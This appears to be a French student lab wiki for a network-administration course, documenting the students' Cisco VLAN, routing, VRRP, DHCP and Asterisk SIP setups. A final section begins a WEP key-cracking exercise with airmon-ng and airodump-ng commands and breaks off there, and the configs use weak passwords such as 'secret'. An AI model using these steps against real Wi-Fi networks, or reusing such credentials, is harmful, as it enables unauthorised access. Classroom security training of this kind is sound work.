====Travail réalisé la 9e séance====&lt;br /&gt;
=====Serveur DHCP=====&lt;br /&gt;
Nous avons installé le paquet '''isc-dhcp-server'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous avons modifié le fichier de configuration du serveur DHCP''' /etc/dhcp/dhcpd.conf''':&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;option domain-name &amp;quot;speedflash.space&amp;quot;;&lt;br /&gt;
option domain-name-servers 193.48.57.165;&lt;br /&gt;
&lt;br /&gt;
subnet 10.60.6.0 netmask 255.255.255.0 {&lt;br /&gt;
      range 10.60.6.10 10.60.6.40;&lt;br /&gt;
      option routers 10.60.6.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite modifié le fichier '''/etc/default/isc-dhcp-server''' pour y ajouter wlan0 comme interface à prendre en compte.&lt;br /&gt;
Nous avons redémarré le serveur en lançant '''service isc-dhcp-server restart'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
En se connectant avec un smartphone en DHCP, nous arrivons à avoir une adresse IP : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:DHCP iphone.png || center || 350px]] &amp;lt;br /&amp;gt;&lt;br /&gt;
et nous arrivons à la pinger depuis la machine virtuelle.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.10&lt;br /&gt;
PING 10.60.6.10 (10.60.6.10) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=1 ttl=63 time=81.8 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=2 ttl=63 time=132 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=3 ttl=63 time=69.4 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====PCBX=====&lt;br /&gt;
Nous avons modifiés le fichier sip.conf :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[general]&lt;br /&gt;
hasvoicemail=yes&lt;br /&gt;
hassip=yes&lt;br /&gt;
hasiax=yes&lt;br /&gt;
callwaiting=yes&lt;br /&gt;
threewaycalling=yes&lt;br /&gt;
callwaitingcallerid=yes&lt;br /&gt;
transfer=yes&lt;br /&gt;
canpark=yes&lt;br /&gt;
cancallforward=yes&lt;br /&gt;
callreturn=yes&lt;br /&gt;
callgroup=1&lt;br /&gt;
pickupgroup=1&lt;br /&gt;
nat=yes&lt;br /&gt;
&lt;br /&gt;
[6001]&lt;br /&gt;
type=friend&lt;br /&gt;
host=dynamic&lt;br /&gt;
dtmfmode=rfc2833&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
fullname=ThomasStephane&lt;br /&gt;
username=trojSmaia&lt;br /&gt;
secret=secret&lt;br /&gt;
context=work&lt;br /&gt;
&lt;br /&gt;
[6002]&lt;br /&gt;
type=friend&lt;br /&gt;
host=dynamic&lt;br /&gt;
dtmfmode=rfc2833&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
fullname=ThomasStephane&lt;br /&gt;
username=smaiaTroj&lt;br /&gt;
secret=secret2&lt;br /&gt;
context=work&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, nous avons modifiés le fichier /etc/asterisk/extensions.conf pour ajouter le contexte work à notre PCBX:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[work]&lt;br /&gt;
exten=&amp;gt;_6XXX,1,Dial(SIP/${EXTEN},20)&lt;br /&gt;
exten =&amp;gt; _6XXX,2,Hangup()&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous n'avons pas encore testé cette solution.&lt;br /&gt;
====Travail réalisé lors de la 10e séance====&lt;br /&gt;
=====Configuration PCBX=====&lt;br /&gt;
Nous avons pu tester notre configuration PCBX.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous avons installé CSipSimple sur 2 téléphones Android, et nous avons configurés les 2 comptes.&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Enregistrement_SIP.jpg|center|300px]]&lt;br /&gt;
Puis, nous avons essayés de s'appeler, la connexion s'effectue et nous pouvons discuter : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier : Appel.jpg|center|300px]]&lt;br /&gt;
Et voici les logs d'Asterisk :&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Logs_SIP.jpg|center|300px]]&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36013</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36013"/>
				<updated>2016-12-14T09:51:34Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Répartition du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Test de la configuration locale&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (17/11 - additionnel)&lt;br /&gt;
 | Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | RAID5 - Cryptage de données&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (additionnel - 7-8/12/2016)&lt;br /&gt;
 | Modification configuration routeur pour prise en charge Wifi - Sécurisation Wifi par WPA-EAP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 9 (12/12)&lt;br /&gt;
 | Configuration DHCP - PCBX&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance additionnelle (14/12/2016)&lt;br /&gt;
 | Configuration PCBX&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 1ère séance ====&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 &lt;br /&gt;
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Travail réalisé la 2e et 3e séance (2 séances) ====&lt;br /&gt;
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). &amp;lt;br /&amp;gt;&lt;br /&gt;
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration générale=====&lt;br /&gt;
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lors de sa première mise en route, nous devons effectuer sa configuration générale :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; hostname cisco config hostname&lt;br /&gt;
 enable secret reverse &amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis ensuite, nous pouvons passer à la configuration des VALNs.&lt;br /&gt;
=====Configuration des VLANs =====&lt;br /&gt;
Nous avons 12 VLANs à configurer :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 11 VLANs (2-11) : VLAN correspondant aux différents groupes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
Sur l'interface physique du 4331, il y a 3 interfaces:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/0 : disponible en cuivre et en fibre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/1: disponible en cuivre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/2: disponible en fibre&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir.&amp;lt;br /&amp;gt;&lt;br /&gt;
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt; interface GigabitEthernet 0/0/0.X &amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.&lt;br /&gt;
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi 0/0/0&lt;br /&gt;
 service instance &amp;lt;n°VLAN&amp;gt; ethernet &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons alors créer nous sous interfaces:&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
&lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
    encapsulation dot1q 3&lt;br /&gt;
    bridge-domain 3&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Configuration des bridge-domain=====&lt;br /&gt;
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge irb &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge 2 protocol ieee&lt;br /&gt;
 bridge 2 route ip&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous pouvons allouer des IP aux différents bridge domain :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;int BDI2&lt;br /&gt;
  ip address 10.60.2.1 255.255.255.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous répétons ces opérations pour tous les bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 4e séance====&lt;br /&gt;
=====Test 1=====&lt;br /&gt;
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;# PCI device 0x14e4:0x1657 (tg3)&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:40&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth4&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:41&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth5&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:42&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth6&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:43&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth7&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe.&amp;lt;br /&amp;gt;&lt;br /&gt;
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Premier essai: FAIL'''&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Test 2=====&lt;br /&gt;
Et là, c'est le drame ... On ne ping rien ...&amp;lt;br /&amp;gt;&lt;br /&gt;
On se demande donc d'où cela peut venir.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Première cause possible : La configuration de CORDOUAN======&lt;br /&gt;
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cdpr -d eth4&lt;br /&gt;
cdpr - Cisco Discovery Protocol Reporter&lt;br /&gt;
Version 2.4&lt;br /&gt;
Copyright (c) 2002-2010 - MonkeyMental.com&lt;br /&gt;
&lt;br /&gt;
Using Device: eth4&lt;br /&gt;
Warning opening device (eth4: no IPv4 address assigned)&lt;br /&gt;
Waiting for CDP advertisement:&lt;br /&gt;
(default config is to transmit CDP packets every 60 seconds)&lt;br /&gt;
Device ID&lt;br /&gt;
  value:  Switch_E306&lt;br /&gt;
Addresses&lt;br /&gt;
Port ID&lt;br /&gt;
  value:  GigabitEthernet4/13&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Deuxième cause possible: Le commutateur======&lt;br /&gt;
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).&lt;br /&gt;
======Dernière cause possible:Le routeur======&lt;br /&gt;
On se dit donc que le problème vient du routeur...&amp;lt;br /&amp;gt;&lt;br /&gt;
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:&lt;br /&gt;
&amp;lt;pre&amp;gt;rewrite ingress tag pop 1 symmetric&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Résultat '''OK'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ping 193.48.57.171&lt;br /&gt;
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 193.48.57.171 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 received, 0% packet loss, time 999ms&lt;br /&gt;
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 5e séance====&lt;br /&gt;
=====Configuration IPv6=====&lt;br /&gt;
Nous avons donc pu commencer la configuration IPv6 de notre routeur.&amp;lt;br /&amp;gt;&lt;br /&gt;
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64.&amp;lt;br /&amp;gt;&lt;br /&gt;
La configuration est la suivante, pour chaque BDI:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco(config)#int BDI6                                                          &lt;br /&gt;
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64                    &lt;br /&gt;
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900                &lt;br /&gt;
cisco(config-if)#ipv6 nd router-preference high                                 &lt;br /&gt;
cisco(config-if)#ipv6 enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration OSPF (IPv4)=====&lt;br /&gt;
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;router ospf 1&lt;br /&gt;
 router-id 10.60.2.1&lt;br /&gt;
 summary-address 10.60.0.0 255.255.0.0&lt;br /&gt;
 summary-address 193.48.57.160 255.255.255.240&lt;br /&gt;
 redistribute connected metric 30 subnets&lt;br /&gt;
 network 192.168.222.0 0.0.0.7 area 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration RIP (IPv6)=====&lt;br /&gt;
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ipv6 router rip tpima5sc&lt;br /&gt;
 redistribute connected metric 1&lt;br /&gt;
 redistribute static metric 1&lt;br /&gt;
 redistribute rip 1 metric 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
La prise en compte du protocole RIP dans la BDI130 est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI130&lt;br /&gt;
 ip address 192.168.222.1 255.255.255.248&lt;br /&gt;
 ipv6 address 2001:660:4401:60AA::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 ipv6 rip tpima5sc enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour confirmer notre résultat, nous regardons la table de routage IPv6:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; cisco#sh ipv6 route&lt;br /&gt;
IPv6 Routing Table - default - 65 entries&lt;br /&gt;
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route&lt;br /&gt;
       B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2&lt;br /&gt;
       IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external&lt;br /&gt;
       ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect&lt;br /&gt;
       O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2&lt;br /&gt;
       ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application&lt;br /&gt;
R   ::/0 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:60::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6000::/56 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6002::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6003::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6004::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6005::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6006::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration VRRP=====&lt;br /&gt;
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs.&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration VRRP de notre routeur:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI2&lt;br /&gt;
 ip address 10.60.2.1 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60B0::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 vrrp 1 ip 10.60.2.3&lt;br /&gt;
 vrrp 1 priority 110&amp;lt;/pre&amp;gt;&lt;br /&gt;
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons voir si notre configuration VRRP est effective : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco#sh vrrp&lt;br /&gt;
BDI12 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 193.48.57.173&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 193.48.57.171 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&lt;br /&gt;
BDI2 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 10.60.2.1 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Craquage de clé WEP=====&lt;br /&gt;
On bascule d’abord la carte en mode monitor : &lt;br /&gt;
&amp;lt;pre&amp;gt; airmon-ng start xxxxxxxx  &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite on scan tous les réseaux wifi captés par cette même carte :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –encrypt wep wlan 0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
